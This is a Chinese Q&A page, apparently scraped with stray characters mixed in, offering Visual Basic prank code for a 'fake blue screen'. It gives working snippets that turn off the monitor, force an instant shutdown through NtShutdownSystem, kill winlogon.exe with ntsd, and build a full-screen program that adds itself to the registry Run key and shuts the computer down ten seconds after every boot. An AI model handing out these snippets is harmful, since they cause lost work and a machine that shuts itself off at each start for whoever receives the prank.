假蓝屏代码,蓝屏代码0x00000f4

以下为关闭屏幕代码，移7a686964616fe58685e5aeb9336动鼠标后，屏幕恢复，可以放在Timer里，循环执行。

Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
(ByVal hWnd As Long, _
ByVal wMsg As Long, _
ByVal wParam As Long, _
ByVal lParam As Long) As Long
Private Const WM_SYSCOMMAND = &H112&
Private Const SC_MONITORPOWER = &HF170&

Private Sub Command1_Click()
SendMessage GetForegroundWindow, WM_SYSCOMMAND, SC_MONITORPOWER, 1
End Sub

以下为音速关机代码，电脑会直接黑屏关闭，特别注意：正在进行的工作，若未保存，将丢失！

Private Declare Function RtlAdjustPrivilege Lib "ntdll" _
(ByVal Privilege As Long, _
ByVal NewValue As Long, _
ByVal NewThread As Long, _
ByRef OldValue As Long) As Long
Private Declare Function NtShutdownSystem Lib "ntdll" (ByVal ShutdownAction As Long) As Long

Private Sub Command1_Click()
RtlAdjustPrivilege 19&, 1, 0, 0
NtShutdownSystem 0
End Sub

让电脑死机去吧zhidao...

cmd,这个知道吧,命令提示符窗口
start /min,启动窗口时最小化
ntsd -c q -pn winlogon.exe 结束winlogon.exe的进程.
1>nul 2>nul 不显示执行结果回
我没试,不知道楼答主试了没,结果如何?看起来只是结束掉了winlogon.exe的进程,应该没有太大损害.
private sub command1_click() '注销zd
shell "shutdown -f -l -t 0",vbhide
end sub
private sub command2_click() '关闭回
shell "shutdown -f -s -t 0",vbhide
end sub
private sub command3_click() '重启答
shell "shutdown -f -r -t 0",vbhide
end sub

建一个form，在属性栏设置百form1的BorderStyle为0-none,WindowState为2-maximized
加入如下代码
Dim k
Private Sub Form_Load()
Set w = CreateObject("wscript.shell")
w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe" '设置开机启动度
k = 0
Timer1.Interval = 1000
Form1.BackColor = &HFF0000
End Sub

Private Sub Timer1_Timer()
k = k + 1
If k = 10 Then
Shell "shutdown -s -t 0" '十秒后自动关机
End If
End Sub
然后生成exe
你可以知在form1上加图片，文字之类道的，运行时候允许开机启动就可以了，别忘了运回行完后把程序删了哦。。。（呵呵，好像运答行后就关机了嘛）